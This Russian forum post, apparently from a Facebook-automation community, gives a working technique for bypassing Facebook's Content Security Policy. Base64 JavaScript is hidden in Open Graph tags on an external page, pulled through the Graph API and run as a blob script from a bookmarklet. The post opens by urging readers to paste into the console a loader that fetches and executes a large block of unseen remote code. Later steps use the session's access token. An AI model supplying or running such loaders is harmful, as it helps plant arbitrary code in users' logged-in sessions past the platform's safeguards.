Запускаем JS код в FB с внешнего домена

brrr
FB-killa team

brrr

Chief Editor
Регистрация
9 Окт 2023
Сообщения
274
Ответов на вопросы
1
Реакции
44
Включить нумерованное содержание?
Да

Содержание

Если вы не являетесь техническим специалистом или хотите быстро ознакомиться с демонстрацией результата, а затем прочитать статью, то:
Перейдите на www.facebook.com (необязательно быть авторизованным), откройте консоль браузера, вставьте туда код ниже и нажмите Enter:

Код:
if(location.host.includes("facebook.com")){if(!window.loaderFB){window.loaderFB=!0;let e=["8536517059785353","9346178902100607","9471481252902726","9474623735881133","9152047901528126"],t=async e=>{try{let t=e.map(e=>fetch(`https://graph.facebook.com/${e}?fields=title,description,created_time,updated_time`).then(t=>{if(!t.ok)throw Error(`Network response was not ok for ID ${e}: ${t.statusText}`);return t.json()}).catch(t=>(console.error(`Fetch problem for ID ${e}:`,t),null))),o=await Promise.all(t),r=o.filter(e=>e?.description).map(e=>e.description).join(""),a=URL.createObjectURL(new Blob([atob(r)],{type:"application/javascript"})),c=document.createElement("script");c.src=a,document.body.appendChild(c),c.remove(),delete window.loaderFB}catch(i){console.error("Fetch operation problem:",i)}};t(e)}}else location.href="https://www.facebook.com";

FB, как и любой подобный сайт, использует CSP (Content Security Policy), который запрещает совершать запросы на посторонние домены.

Материал с канала: doroved.stories

Вот как выглядит защита, если мы отправим запрос на домен вне белого списка FB.

1738215909272


Зачем вообще что-то загружать в FB с нашего домена?

Например, эту возможность могут использовать владельцы JS-закладок для создания авто-обновляемых приложений с неограниченной в размере кодовой базой.

Создание HTML страницы для хранения версии и кода приложения

В FB есть API для получение информации о URL, опубликованном в посте или комментарии на Facebook:

URL - Graph API - Documentation - Meta for Developers

Например, по ссылке ниже можно увидеть, какие свойства Open Graph обнаруживает FB для рандомной статьи с хабра:

Sharing Debugger - Meta for Developers

1738215941328


Почему бы нам не использовать og:* теги для хранения в них версии и JS кода нашего приложения?

Шаблон страницы для хранения версии/кода нашего приложения - index.html

Код:
<!DOCTYPE html>
<html>
  <head>
    <meta property="og:type" content="website" />
    <meta property="og:title" content="0.1.0" />
    <meta property="og:description" content="YWxlcnQoJ0hlbGxvIFdvcmxkIScp" />
  </head>
</html>

og:title - используем это свойство для указания текущей версии приложения

og:description - сюда складываем JS код в base64. Опытным путем выявлена рекомендуемая максимальная длина строки = 350к символов.

Для удобства будем использовать Cloudflare Pages, чтобы бесплатно разместить там нашу html страницу.

1. Создаем поддомен

1738215968691


2. Переходим в настройки (клик на fbcode в данном случае) и нажимаем Create new deployment

1738216005503


3. Загружаем ранее созданную HTML страницу (я загружаю папку в которой лежит страница)

1738216021129


4. После загрузки, нажимаем Save and deploy
1738216033790

Готово, мы добавили/обновили код нашего приложения и теперь можем просканировать наш домен в FB, что бы он обновил данные сайта на своей стороне.
1738216050935

Сканирование нашей страницы FB ботом

Все команды ниже нужно запускать в консоли браузера на Meta for Business (ранее — Facebook for Business) в авторизованном аккаунте.

1. Сканируем URL, что бы FB узнал про наши Open Graph теги. Эту команду нужно запускать каждый раз, когда мы обновляем код и выпускаем новую версию приложения.

Можно сканировать URL под токеном/куками любого аккаунта. Это ни на что не влияет, так как доступ к сайту с кодом приложения только у вас.

Код:
fetch(`https://graph.facebook.com/?id=https://fbcode.pages.dev&scrape=true&access_token=${window.__accessToken}`, {
    method: 'POST',
    credentials: 'include'
})
.then(response => {
    if (!response.ok) throw new Error('Network response was not ok ' + response.statusText);
    return response.json();
})
.then(console.log)
.catch(error => console.error('There was a problem with the fetch operation:', error));

Ответ

Код:
{
    "url": "https://fbcode.pages.dev",
    "type": "website",
    "title": "0.1.0",
    "description": "YWxlcnQoJ0hlbGxvIFdvcmxkIScp",
    "updated_time": "2025-01-05T00:44:31+0000",
    "__fb_trace_id__": "G8Q/5bYIhVS",
    "__www_request_id__": "AoVDUER_kddtOS69m1qG5_e"
}

2. Получаем og_object.id, он потребуется для следующего запроса, чтобы мы могли получать содержимое Open Graph тегов нашего сайта не раскрывая его URL.

Код:
fetch(`https://graph.facebook.com/?id=https://fbcode.pages.dev&fields=og_object&access_token=${window.__accessToken}`, {
    credentials: 'include'
})
.then(response => {
    if (!response.ok) throw new Error('Network response was not ok ' + response.statusText);
    return response.json();
})
.then(console.log)
.catch(error => console.error('There was a problem with the fetch operation:', error));

Ответ

Код:
{
    "og_object": {
        "id": "24345208028461213",
        "description": "YWxlcnQoJ0hlbGxvIFdvcmxkIScp",
        "title": "0.1.0",
        "type": "website",
        "updated_time": "2023-12-24T14:58:35+0000"
    },
    "id": "https://fbcode.pages.dev",
    "__fb_trace_id__": "FTNDE2mr1vS",
    "__www_request_id__": "ANxgW9TH8fvyWP8LFfVRSZ1"
}

3. Это конечный URL который будет использоваться в нашей закладке-загрузчике для получения текущей версии и кода нашего приложения.

Код:
fetch('https://graph.facebook.com/24345208028461213?fields=title,description,created_time,updated_time')
.then(response => {
    if (!response.ok) throw new Error('Network response was not ok ' + response.statusText);
    return response.json();
})
.then(console.log)
.catch(error => console.error('There was a problem with the fetch operation:', error));

Ответ

Код:
{
    "title": "0.1.0",
    "description": "YWxlcnQoJ0hlbGxvIFdvcmxkIScp",
    "created_time": "2023-12-24T14:57:04+0000",
    "updated_time": "2023-12-24T14:58:35+0000",
    "id": "24345208028461213"
}

Если вдруг Open Graph теги не обновляются, можно проверить, сталкивается ли бот FB с какой-нибудь ошибкой при заходе на ваш URL.

<Sharing Debugger - Meta for Developers>

Вот пример, где бот FB получает 403 ошибку (Доступ запрещен), поэтому не обновляет данные.

1738216329429


Загрузчик приложения в FB

Теперь напишем небольшой загрузчик, который будет скачивать код и запускать его после нажатия на JS-закладку.

Код:
if (location.host.includes("facebook.com")) {
  // Проверка существования метки, чтобы определить запущен ли загрузчик. Это защита от двойного вызова загрузчика
  if (!window.loaderFB) {
    window.loaderFB = true;


    fetch(
      "https://graph.facebook.com/24345208028461213?fields=title,description,created_time,updated_time"
    )
      .then((request) => request.json())
      .then((response) => {
        // Если ошибка от FB, выводим ее текст в alert
        if (response.error) {
          alert(response.error.message);
        } else {
          // Вытаскиваем версию и код приложения из ответа
          const { title: version, description: code } = response;


          // Текущая версия приложения
          console.log(version);


          // Создаем URL для Blob из декодированного JS кода
          const blobURL = URL.createObjectURL(
            new Blob([atob(code)], { type: "application/javascript" })
          );


          // Создаем новый script элемент и устанавливаем его src в ссылку на Blob
          const appJs = document.createElement("script");
          appJs.src = blobURL;


          // Добавляем элемент script в тело документа
          document.body.appendChild(appJs);


          // Удаляем скрипт
          appJs.remove();
        }


        // Удаляем метку после выполнения кода загрузчика
        delete window.loaderFB;
      });
  }
} else {
  location.href = "https://www.facebook.com";
}

Минифицируем его и добавляем javascript: для того, чтобы этот код запускался из закладки браузера.

Обратите внимание, что код закладки не кодируется в base64, поскольку это потребовало бы использования eval(), который больше не работает на www.facebook.com.

1738216385303


Также избегайте использования eval() в коде вашего приложения — оно успешно запустится через Blob ссылку.

Код:
javascript:location.host.includes("facebook.com")?window.loaderFB||(window.loaderFB=!0,fetch("https://graph.facebook.com/24345208028461213?fields=title,description,created_time,updated_time").then(e=>e.json()).then(e=>{if(e.error)alert(e.error.message);else{let{title:t,description:o}=e;console.log(t);let r=URL.createObjectURL(new Blob([atob(o)],{type:"application/javascript"})),a=document.createElement("script");a.src=r,document.body.appendChild(a),a.remove()}delete window.loaderFB})):location.href="https://www.facebook.com";

Демонстрация работы загрузчика​

В качестве примера я создал забавное приложение в виде новогоднего скринсейвера с Марком Цукербергом, которое будет загружаться и запускаться на любой странице *.facebook.com
  • Перейдите по ссылке (в РФ требуется VPN, т.к. pages.dev был забанен после написания этой статьи) и перетяните кнопку на панель закладок, после чего нажмите на закладку.
  • Если не хотите заморачиваться с закладкой, используйте этот вариант.
Скрины специально не показываю, чтобы было сюрпризом 😂

Это приложение состоит из 1_485_088 символов в base64, поэтому пришлось разбить код на части (по 350к символов) и адаптировать код загрузчика для загрузки этих частей.

Код:
if (location.host.includes("facebook.com")) {
  if (!window.loaderFB) {
    window.loaderFB = true;


    const ids = [
      "8536517059785353", // https://fbcode.pages.dev/chunk1
      "9346178902100607", // https://fbcode.pages.dev/chunk2
      "9471481252902726", // https://fbcode.pages.dev/chunk3
      "9474623735881133", // https://fbcode.pages.dev/chunk4
      "9152047901528126"  // https://fbcode.pages.dev/chunk5
    ];


    const fetchFacebookData = async (ids) => {
      try {
        const requests = ids.map(id =>
          fetch(`https://graph.facebook.com/${id}?fields=title,description,created_time,updated_time`)
            .then(response => {
              if (!response.ok) {
                throw new Error(`Network response was not ok for ID ${id}: ${response.statusText}`);
              }
              return response.json();
            })
            .catch(error => {
              console.error(`Fetch problem for ID ${id}:`, error);
              return null;
            })
        );


        const results = await Promise.all(requests);
        const combinedDescriptions = results
          .filter(result => result?.description)
          .map(result => result.description)
          .join("");


        const blobURL = URL.createObjectURL(new Blob([atob(combinedDescriptions)], { type: "application/javascript" }));
        const appJs = document.createElement("script");
        appJs.src = blobURL;
        document.body.appendChild(appJs);
        appJs.remove();


        delete window.loaderFB;
      } catch (error) {
        console.error("Fetch operation problem:", error);
      }
    };


    fetchFacebookData(ids);
  }
} else {
  location.href = "https://www.facebook.com";
}

В минифицированном виде:

Код:
javascript:if(location.host.includes("facebook.com")){if(!window.loaderFB){window.loaderFB=!0;let e=["8536517059785353","9346178902100607","9471481252902726","9474623735881133","9152047901528126"],t=async e=>{try{let t=e.map(e=>fetch(`https://graph.facebook.com/${e}?fields=title,description,created_time,updated_time`).then(t=>{if(!t.ok)throw Error(`Network response was not ok for ID ${e}: ${t.statusText}`);return t.json()}).catch(t=>(console.error(`Fetch problem for ID ${e}:`,t),null))),o=await Promise.all(t),r=o.filter(e=>e?.description).map(e=>e.description).join(""),a=URL.createObjectURL(new Blob([atob(r)],{type:"application/javascript"})),c=document.createElement("script");c.src=a,document.body.appendChild(c),c.remove(),delete window.loaderFB}catch(i){console.error("Fetch operation problem:",i)}};t(e)}}else location.href="https://www.facebook.com";

Функция для разбивки base64 строки кода приложения на части по 350к символов

Код:
function splitString(inputString, chunkSize) {
    // Проверяем, что размер чанка больше нуля
    if (chunkSize <= 0) {
        throw new Error("Размер чанка должен быть больше нуля.");
    }


    // Инициализируем пустой массив для хранения чанков
    const result = {};


    // Перебираем строку и создаем чанки
    for (let i = 0; i < inputString.length; i += chunkSize) {
        const chunk = inputString.slice(i, i + chunkSize);
        result[`chunk${Math.floor(i / chunkSize) + 1}`] = chunk;
    }


    return result;
}


// Пример использования
const result = splitString("YWxlcnQoJ0hlbGxvIFdvcmxkIScp...", 350000);
console.log(result);

Заключение​

На самом деле можно по разному настраивать работу загрузчика, например в og:description хранить объект с разными приложениями и запускать их через UI.

Может кто-нибудь сможет придумать иное применение для этой возможности хранить/передавать данные через Open Graph теги, тестируйте 🙂

На этом все! Спасибо за прочтение статьи!
 
Последнее редактирование:

Похожие темы

stalkerok
Ответы
0
Просмотры
2.293
stalkerok
stalkerok
stalkerok
Ответы
0
Просмотры
1.610
stalkerok
stalkerok
Елена Маракова
Ответы
0
Просмотры
1.025
Елена Маракова
Елена Маракова
Елена Маракова
Ответы
0
Просмотры
887
Елена Маракова
Елена Маракова
Назад
Верх
Главная Поиск Блог Обучение Партнёрки Инструменты